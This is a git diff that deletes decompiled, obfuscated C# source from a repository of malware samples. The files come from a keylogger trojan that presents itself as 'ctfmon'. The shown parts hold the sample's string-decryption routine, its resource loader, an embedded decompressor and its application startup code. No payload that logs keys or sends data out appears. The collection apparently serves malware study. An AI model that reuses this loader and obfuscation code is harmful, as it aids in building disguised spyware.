- case 10: - if (this.\u0002 > 0) - { - this.\u0001 = 10; - int num4 = this.\u0001.\u0002(this.\u0002); - if (num4 < 0) - return false; - this.\u0001.\u0002(this.\u0002); - this.\u0004 += num4; - } - this.\u0001.\u0002(this.\u0003, this.\u0004); - num1 -= this.\u0003; - this.\u0001 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0003() - { - switch (this.\u0001) - { - case 2: - if (this.\u0001) - { - this.\u0001 = 12; - return false; - } - int num = this.\u0001.\u0002(3); - if (num < 0) - return false; - this.\u0001.\u0002(3); - if ((num & 1) != 0) - this.\u0001 = true; - switch (num >> 1) - { - case 0: - this.\u0001.\u0002(); - this.\u0001 = 3; - break; - case 1: - this.\u0001 = \u0003.\u0004.\u0001; - this.\u0002 = \u0003.\u0004.\u0002; - this.\u0001 = 7; - break; - case 2: - this.\u0001 = new \u0003.\u0005(); - this.\u0001 = 6; - break; - } - return true; - case 3: - if ((this.\u0005 = this.\u0001.\u0002(16)) < 0) - return false; - this.\u0001.\u0002(16); - this.\u0001 = 4; - goto case 4; - case 4: - if (this.\u0001.\u0002(16) < 0) - return false; - this.\u0001.\u0002(16); - this.\u0001 = 5; - goto case 5; - case 5: - this.\u0005 -= this.\u0001.\u0002(this.\u0001, this.\u0005); - if (this.\u0005 != 0) - return !this.\u0001.\u0002(); - this.\u0001 = 2; - return true; - case 6: - if (!this.\u0001.\u0002(this.\u0001)) - return false; - this.\u0001 = this.\u0001.\u0002(); - this.\u0002 = this.\u0001.\u0003(); - this.\u0001 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0002(); - case 12: - return false; - default: - return false; - } - } - - public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0001 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0001.\u0002(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0003() || this.\u0001.\u0003() > 0 && this.\u0001 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0001; - private int \u0002; - private uint \u0001; - private int \u0003; - - public int \u0002([In] int obj0) - { - if (this.\u0003 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0001 == this.\u0002) - return -1; - this.\u0001 |= (uint) (((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue) << 8) << this.\u0003); - this.\u0003 += 16; - goto label_3; - } - - public void \u0002([In] int obj0) - { - this.\u0001 >>= obj0; - this.\u0003 -= obj0; - } - - [SpecialName] - public int \u0002() => this.\u0003; - - [SpecialName] - public int \u0003() => this.\u0002 - this.\u0001 + (this.\u0003 >> 3); - - public void \u0002() - { - this.\u0001 >>= this.\u0003 & 7; - this.\u0003 &= -8; - } - - [SpecialName] - public bool \u0002() => this.\u0001 == this.\u0002; - - public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0003 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0001; - this.\u0001 >>= 8; - this.\u0003 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0002 - this.\u0001; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); - this.\u0001 += obj2; - if ((this.\u0001 - this.\u0002 & 1) != 0) - { - this.\u0001 = (uint) this.\u0001[this.\u0001++] & (uint) byte.MaxValue; - this.\u0003 = 8; - } - return num1 + obj2; - } - - public void \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0001 < this.\u0002) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003); - this.\u0003 += 8; - } - this.\u0001 = obj0; - this.\u0001 = obj1; - this.\u0002 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0003.\u0003.\u0001 - 1; - private byte[] \u0001 = new byte[\u0003.\u0003.\u0001]; - private int \u0003; - private int \u0004; - - public void \u0002([In] int obj0) - { - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - if (num2 == \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0001[this.\u0003++] = (byte) obj0; - this.\u0003 &= \u0003.\u0003.\u0002; - } - - private void \u0002([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0001; - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0003; - obj.\u0003 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0001[obj0++]; - numArray[index] = (byte) num3; - this.\u0003 &= \u0003.\u0003.\u0002; - obj0 &= \u0003.\u0003.\u0002; - } - } - - public void \u0002([In] int obj0, [In] int obj1) - { - if ((this.\u0004 += obj0) > \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0003 - obj1 & \u0003.\u0003.\u0002; - int num = \u0003.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0003 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0); - this.\u0003 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0001[this.\u0003++] = this.\u0001[sourceIndex++]; - } - } - else - this.\u0002(sourceIndex, obj0, obj1); - } - - public int \u0002([In] \u0003.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0003.\u0003.\u0001 - this.\u0004), obj0.\u0003()); - int num1 = \u0003.\u0003.\u0001 - this.\u0003; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0002(this.\u0001, this.\u0003, num1); - if (num2 == num1) - num2 += obj0.\u0002(this.\u0001, 0, obj1 - num1); - } - else - num2 = obj0.\u0002(this.\u0001, this.\u0003, obj1); - this.\u0003 = this.\u0003 + num2 & \u0003.\u0003.\u0002; - this.\u0004 += num2; - return num2; - } - - public int \u0002() => \u0003.\u0003.\u0001 - this.\u0004; - - public int \u0003() => this.\u0004; - - public int \u0002([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0003; - if (obj2 > this.\u0004) - obj2 = this.\u0004; - else - num1 = this.\u0003 - this.\u0004 + obj2 & \u0003.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0001, \u0003.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0004 -= num2; - if (this.\u0004 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0001; - public static \u0003.\u0004 \u0001; - public static \u0003.\u0004 \u0002; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0003.\u0004.\u0001 = new \u0003.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0003.\u0004.\u0002 = new \u0003.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0002(obj0); - - private void \u0002([In] byte[] obj0) - { - int[] numArray1 = new int[\u0003.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0003.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0003.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0001 = new short[length]; - int num4 = 512; - for (int index3 = \u0003.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0001[(int) \u0003.\u0006.\u0002(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0003.\u0006.\u0002(num6); - if (index6 <= 9) - { - do - { - this.\u0001[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0001[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0002([In] \u0003.\u0002 obj0) - { - int index; - if ((index = obj0.\u0002(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0001[index]) >= 0) - { - obj0.\u0002(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0002(num3)) >= 0) - { - int num5 = (int) this.\u0001[num2 | num4 >> 9]; - obj0.\u0002(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0002(); - int num7 = obj0.\u0002(num6); - int num8 = (int) this.\u0001[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0002(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0002(); - int num10 = (int) this.\u0001[obj0.\u0002(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0002(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0001; - private byte[] \u0002; - private \u0003.\u0004 \u0001; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private int \u0006; - private byte \u0001; - private int \u0007; - private static readonly int[] \u0003 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0002([In] \u0003.\u0002 obj0) - { - while (true) - { - switch (this.\u0001) - { - case 0: - this.\u0002 = obj0.\u0002(5); - if (this.\u0002 >= 0) - { - this.\u0002 += 257; - obj0.\u0002(5); - this.\u0001 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0003 = obj0.\u0002(5); - if (this.\u0003 >= 0) - { - ++this.\u0003; - obj0.\u0002(5); - this.\u0005 = this.\u0002 + this.\u0003; - this.\u0002 = new byte[this.\u0005]; - this.\u0001 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u0004 = obj0.\u0002(4); - if (this.\u0004 >= 0) - { - this.\u0004 += 4; - obj0.\u0002(4); - this.\u0001 = new byte[19]; - this.\u0007 = 0; - this.\u0001 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0007 < this.\u0004; ++this.\u0007) - { - int num = obj0.\u0002(3); - if (num < 0) - return false; - obj0.\u0002(3); - this.\u0001[\u0003.\u0005.\u0003[this.\u0007]] = (byte) num; - } - this.\u0001 = new \u0003.\u0004(this.\u0001); - this.\u0001 = (byte[]) null; - this.\u0007 = 0; - this.\u0001 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0001.\u0002(obj0)) & -16) == 0) - { - this.\u0002[this.\u0007++] = this.\u0001 = (byte) num1; - if (this.\u0007 == this.\u0005) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0001 = (byte) 0; - this.\u0006 = num1 - 16; - this.\u0001 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0003.\u0005.\u0002[this.\u0006]; - int num3 = obj0.\u0002(num2); - if (num3 >= 0) - { - obj0.\u0002(num2); - int num4 = num3 + \u0003.\u0005.\u0001[this.\u0006]; - while (num4-- > 0) - this.\u0002[this.\u0007++] = this.\u0001; - if (this.\u0007 != this.\u0005) - { - this.\u0001 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0003.\u0004 \u0002() - { - byte[] destinationArray = new byte[this.\u0002]; - Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002); - return new \u0003.\u0004(destinationArray); - } - - public \u0003.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0003]; - Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003); - return new \u0003.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u0001 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u0001 = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0001 = new short[\u0003.\u0006.\u0002]; - private static byte[] \u0002 = new byte[\u0003.\u0006.\u0002]; - private static short[] \u0002; - private static byte[] \u0003; - - public static short \u0002([In] int obj0) => (short) ((int) \u0003.\u0006.\u0001[obj0 & 15] << 12 | (int) \u0003.\u0006.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0006.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0006.\u0001[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0003.\u0006.\u0002[index1++] = (byte) 8) - \u0003.\u0006.\u0001[index1] = \u0003.\u0006.\u0002(48 + index1 << 8); - for (; index1 < 256; \u0003.\u0006.\u0002[index1++] = (byte) 9) - \u0003.\u0006.\u0001[index1] = \u0003.\u0006.\u0002(256 + index1 << 7); - for (; index1 < 280; \u0003.\u0006.\u0002[index1++] = (byte) 7) - \u0003.\u0006.\u0001[index1] = \u0003.\u0006.\u0002(index1 - 256 << 9); - for (; index1 < \u0003.\u0006.\u0002; \u0003.\u0006.\u0002[index1++] = (byte) 8) - \u0003.\u0006.\u0001[index1] = \u0003.\u0006.\u0002(index1 - 88 << 8); - \u0003.\u0006.\u0002 = new short[\u0003.\u0006.\u0003]; - \u0003.\u0006.\u0003 = new byte[\u0003.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0003.\u0006.\u0003; ++index2) - { - \u0003.\u0006.\u0002[index2] = \u0003.\u0006.\u0002(index2 << 11); - \u0003.\u0006.\u0003[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0002() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0003() => this.\u0002() | this.\u0002() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0002.cs deleted file mode 100644 index 6052ced7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate char \u0002\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0003.cs deleted file mode 100644 index 1a080613..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Diagnostics; - -internal delegate Process \u0002\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/Token20000A5.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/Token20000A5.cs deleted file mode 100644 index 52cc6f31..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/Token20000A5.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token20000A5 -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace \u0003 -{ - internal class Token20000A5 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0001.cs deleted file mode 100644 index 8f62363e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0001.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0003; -using System.Runtime.InteropServices; - -namespace \u0003 -{ - internal sealed class \u0001 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0001.\u0001 \u0001; - internal static \u0001.\u0001 \u0002; - internal static \u0001.\u0002 \u0001; - internal static \u0001.\u0002 \u0002; - internal static \u0001.\u0003 \u0001; - internal static \u0001.\u0003 \u0002; - internal static \u0001.\u0004 \u0001; - internal static \u0001.\u0004 \u0002; - internal static \u0001.\u0005 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0002.cs deleted file mode 100644 index cfdb9f82..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0002.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0003 -{ - internal sealed class \u0002 - { - [NonSerialized] - internal static \u0001.\u0002 \u0001; - private static string \u0001; - private static string \u0002; - private static byte[] \u0001; - private static Hashtable \u0001; - private static bool \u0001; - private static int \u0001; - - public static string \u0002([In] int obj0) - { - obj0 -= \u0003.\u0002.\u0001; - if (\u0003.\u0002.\u0001) - { - string str = (string) \u0099.\u007E\u0089\u0003((object) \u0003.\u0002.\u0001, (object) obj0); - if (str != null) - return str; - } - int num1 = obj0; - byte[] numArray1 = \u0003.\u0002.\u0001; - int index1 = num1; - int num2 = index1 + 1; - int num3 = (int) numArray1[index1]; - int num4; - if ((num3 & 128) == 0) - { - num4 = num3; - if (num4 == 0) - return string.Empty; - } - else if ((num3 & 64) == 0) - { - num4 = ((num3 & 63) << 8) + (int) \u0003.\u0002.\u0001[num2++]; - } - else - { - int num5 = (num3 & 31) << 24; - byte[] numArray2 = \u0003.\u0002.\u0001; - int index2 = num2; - int num6 = index2 + 1; - int num7 = (int) numArray2[index2] << 16; - int num8 = num5 + num7; - byte[] numArray3 = \u0003.\u0002.\u0001; - int index3 = num6; - int num9 = index3 + 1; - int num10 = (int) numArray3[index3] << 8; - int num11 = num8 + num10; - byte[] numArray4 = \u0003.\u0002.\u0001; - int index4 = num9; - num2 = index4 + 1; - int num12 = (int) numArray4[index4]; - num4 = num11 + num12; - } - try - { - byte[] numArray5 = \u008E.\u009C\u0002(\u0091.\u007E\u0013\u0004((object) \u0013\u0002.\u0014\u0004(), \u0003.\u0002.\u0001, num2, num4)); - string str = \u009A\u0002.\u008F\u0002(\u0091.\u007E\u0013\u0004((object) \u0013\u0002.\u0014\u0004(), numArray5, 0, numArray5.Length)); - if (\u0003.\u0002.\u0001) - { - try - { - \u0091\u0002.\u007E\u0087\u0003((object) \u0003.\u0002.\u0001, (object) obj0, (object) str); - } - catch - { - } - } - return str; - } - catch - { - return (string) null; - } - } - - static \u0002() - { - \u0001.\u0003.\u0002(); - \u0003.\u0002.\u0001 = "0"; - \u0003.\u0002.\u0002 = "74"; - \u0003.\u0002.\u0001 = (byte[]) null; - \u0003.\u0002.\u0001 = (Hashtable) null; - \u0003.\u0002.\u0001 = false; - \u0003.\u0002.\u0001 = 0; - if (\u0095\u0002.\u0082\u0002(\u0003.\u0002.\u0001, "1")) - { - \u0003.\u0002.\u0001 = true; - \u0003.\u0002.\u0001 = new Hashtable(); - } - \u0003.\u0002.\u0001 = \u0006\u0002.\u009B\u0002(\u0003.\u0002.\u0002); - Assembly assembly = \u009F\u0002.\u009E\u0003(); - Stream stream = \u0006\u0003.\u007E\u009C\u0003((object) assembly, "{2b1874d2-b5d6-4fc2-9c40-41c2d3a7e9b2}"); - try - { - int length = \u009F.\u009A\u0002(\u0090\u0002.\u007E\u001B\u0004((object) stream)); - byte[] numArray = new byte[length]; - int num = \u007F\u0003.\u007E\u001E\u0004((object) stream, numArray, 0, length); - \u0003.\u0002.\u0001 = \u0002.\u0003.\u0002(numArray); - \u0010\u0002.\u007E\u001D\u0004((object) stream); - } - finally - { - if (stream != null) - \u0010\u0002.\u007E\u0080\u0002((object) stream); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0003.cs deleted file mode 100644 index 30f6eef1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0003.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0004; -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 : WindowsFormsApplicationBase - { - private static List \u0001 = new List(); - - [DebuggerNonUserCode] - static \u0003() - { - } - - [DebuggerNonUserCode] - private static void \u0002([In] object obj0) - { - List weakReferenceList = \u0003.\u0003.\u0001; - \u0010\u0002.\u001E\u0003((object) weakReferenceList); - try - { - if (\u0003.\u0003.\u0001.Count == \u0003.\u0003.\u0001.Capacity) - { - int index1 = 0; - int num = checked (\u0003.\u0003.\u0001.Count - 1); - int index2 = 0; - while (index2 <= num) - { - WeakReference weakReference = \u0003.\u0003.\u0001[index2]; - if (\u008D.\u007E\u001D\u0003((object) weakReference)) - { - if (index2 != index1) - \u0003.\u0003.\u0001[index1] = \u0003.\u0003.\u0001[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - \u0003.\u0003.\u0001.RemoveRange(index1, checked (\u0003.\u0003.\u0001.Count - index1)); - \u0003.\u0003.\u0001.Capacity = \u0003.\u0003.\u0001.Count; - } - \u0003.\u0003.\u0001.Add(new WeakReference(\u001C\u0003.\u0083\u0004(obj0))); - } - finally - { - \u0010\u0002.\u001F\u0003((object) weakReferenceList); - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - internal static void \u0002([In] string[] obj0) - { - \u0001.\u0001.\u0003(); - try - { - \u000F\u0002.\u0097\u0004(\u008D\u0003.\u0081()); - } - finally - { - } - \u009A.\u007E\u007F((object) \u0002.\u0002(), obj0); - } - - public \u0003() - : base(AuthenticationMode.Windows) - { - \u0003.\u0003.\u0002((object) this); - \u008F\u0003.\u007E\u0087((object) this, false); - \u008F\u0003.\u007E\u0086((object) this, true); - \u008F\u0003.\u007E\u0083((object) this, true); - \u009E\u0002.\u007E\u0084((object) this, ShutdownMode.AfterMainFormCloses); - } - - protected override void OnCreateMainForm() => \u008C.\u007E\u0080((object) this, (Form) 